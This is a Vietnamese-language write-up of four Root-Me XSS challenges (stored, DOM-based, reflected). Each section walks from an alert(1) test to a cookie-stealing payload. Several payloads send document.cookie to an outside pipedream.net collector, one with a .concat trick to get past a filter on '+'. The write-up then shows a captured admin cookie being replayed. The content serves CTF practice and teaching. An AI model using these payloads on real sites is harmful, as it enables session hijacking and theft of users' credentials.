> For the complete documentation index, see [llms.txt](https://shangs.gitbook.io/shine/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shangs.gitbook.io/shine/write-up-ctf/ctf-wargame/root-me-writeup-xss-challenge.md).

# \[Root me] Writeup XSS Challenge

## XSS - Stored 1

Trong bài này này basic, khi vào chúng ta sẽ thấy interface như này:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FfPG9wGtoRaSd5YNbO9O0%2Fimage.png?alt=media\&token=7dfebcfd-0de4-4700-b6f5-01019f772f42)

Có form điền Title và Mesage khi đó chúg ta hãy thử gửi lên một đoạn message như người dùng bình thường, tiếp đó thử chèn đoạn script: <`script>alert(1)</script>`

Khi đó chúng ta thấy script này chèn thành công vào span tag vào payload thành công từ đó chúng ta thay `alert()` thành `document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c="+document.cookie`

Chờ một phút sau cookie sẽ được gửi về [requestbin](https://requestbin.com/)

## **XSS DOM Based – Introduction**

Trong bài này thì khi vào nó cho một input nhập từ 0 tới 100, thử nhập 100 xem nó sẽ ra gì:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FXyPWYv1D5ynj5AkV6MbU%2Fimage.png?alt=media\&token=3ef5a528-be20-4711-b1a6-bc5346ebf464)

Ctr+U để mở source code lên xem như nào:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FC8v7OobRev4ApFGjU81d%2Fimage.png?alt=media\&token=8df8fe18-5d91-455e-b30d-7230f0ca9322)

Ở đây ta thấy rằng có một biến là `number` và khi ta nhập số là biến `number` được gán vào:

Ý tưởng bài này thì chúng ta sẽ break out JS bằng cách `';` hoặc `'-`

`';alert(1)// hoặc '-alert(1)//`

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FLdk9AALlVcydKYLaa2z0%2Fimage.png?alt=media\&token=21160495-7f28-4ad8-944c-1f4774ce7f15)

`Payload thành công!!!` Khi đó đoạn script nó sẽ như này:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FfkF0pO9bIgExjXWVJnw7%2Fimage.png?alt=media\&token=47d2ecd4-3ffb-489a-93c5-382d09e7190b)

Vậy như bài trên chúng ta lại thay payload như này trên URL

`http://my-url/number=%27%3Bdocument.location%3D%22https%3A%2F%2Feoqnvkovg5mm73q.m.pipedream.net%3Fc%3D%22%2Bdocument.cookie//`

Vì XSS là lỗ hổng client side nên chúng ta sẽ gửi nó từ contact cho admin:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FGJ4QcFbgPH2NMekHXKwV%2Fimage.png?alt=media\&token=181b3dcd-1853-4630-a199-264bb84868ac)

Khi đó con bot sẽ leak cookie của admin về khi admin nhấp vào đọc:<br>

!\[Graphical user interface, text, application

Description automatically generated]\(/files/SLqTB1Td7SFv6Rzq2aLn)

## **XSS Reflected**

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FJ3hjWy8WTFBJ4LUy1Qk5%2F1?alt=media)

Bài này  nhìn qua thì không có form để test XSS mà đề bài là Reflected XSS nên chúng ta sẽ xem xét  ở URL:

![Graphical user ](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FRKXOstX9WGTAGzxrpKSt%2F2?alt=media)

Nếu chúng ta thay đổi `p=sha1` thì nó sẽ ra gì:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FxfVOtzQ5P1AMKSTXEbMD%2F4?alt=media)

Nó sẽ ra như này, tiếp đó mở source code kiếm tra:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F7HKTvbNpQKiKR8IKHYzD%2F5?alt=media)

Thấy rằng p=sha1 là giá trị của thuộc tính href như vậy chúng ta cần suy nghĩa làm sao để chèn được vào đây.

Dùng thuộc tính `onmousover` hoặc `onclick` để thêm vào thẻ `<a>` nhưng nên nhớ rằng thường thì admin sẽ không nhấp vào link lạ nên ở đây chúng ta chọn `omouseover`, khi đó đoạn gắn shau `p` sẽ là:

`sha1' onmousemove='alert(1)`

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FKyZsR33zDfAuZuqsMs8q%2Fimage.png?alt=media\&token=53dee2a1-f7bf-4d5d-a0a7-25d9f5fb2578)

&#x20;&#x20;

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FG7RHrahimaHfvGpiRTUp%2Fimage.png?alt=media\&token=569e7ec8-d5f4-480e-85fc-5467ba20b60a)

Khi đó payload sẽ như này:

`sha1' onmousemove='document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c=".concat(document.cookie)`

`Nên nhớ rằng chúng ta phải dùng nối chuỗi` .concat `trong JS vì dấu + đã bị filter đi`

`Sau khi gửi và report cho admin thì chúng ta chờ một phút để con bot leak thông tin và gửi về requestbin`

## XSS - Stored 2

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FKQcBGoZlmiP6fycqjfbx%2F10?alt=media)

`Interface` khá giống với bài Stored 1 nhưng chỉ có điều nó thêm `status`

Bật `source code` lên kiểm tra thì có một class được đặt là `invite`

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F3iXk3SJVCJN5gsJniMkV%2F11?alt=media)

Ý tưởng sẽ dùng Burp suite để bắt hành động:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FmrIFqRHJJW75sLr1V3sp%2F12?alt=media)

Nhận thấy `Cookie` có `status:invite,` vậy thì chúng ta hay thử thay đổi giá trị `status` xem như nào:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FaoXHpDJnzXfPieFjh9rG%2F13?alt=media)

Khi đó chúng ta `forward`  để trang web gửi lên sever và nhận ra rằng status đã thay đổi

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FZjsGCN4R4Q7y0TADPyzH%2F14?alt=media)

Ý tưởng bây giờ là break out đoạn souce code này:

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F0lqIUuRfWHjMdLvWC9lR%2F15?alt=media)

Ở đây payload lúc đó sẽ là `"><img scr=1 onerror=alert(1) />` (`">` để đóng thẻ `i` lại)

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FNHXWWPZPix4gpKDJKWmJ%2F16?alt=media)

Payload thành công giờ chỉ cần thay alert() thành document....và gửi nó lên, đợi một lúc thì được trả về ADMIN\_COOKIE như này<<\<Lưu ý: có thể dùng .concat để nối chuỗi nếu bị filter dấu + >>

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FWip8LJPxoPbxYOc0JU7N%2Fimage.png?alt=media\&token=ec20be0a-decf-419c-bf28-a8f82f46f05b)

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FTajVs0T5GKl0tnH3uILT%2F17?alt=media)

Lúc đầu mình nghĩa đây là flag nhưng không đúng, thì chợt nhận ra status nó là invite thì mình cần thay đổi cookie và reload lại trang:

Cookie: status=invite; ADMIN\_COOKIE=SY2USDIH78TF3DFU78546TE7F

![](https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fg5Wzx4J5uemdcfzFKUC2%2F20?alt=media)

Các phần tiếp theo sẽ được cập nhật trong thời gian sớm nhất cảm ơn các bạn đã đọc bài...
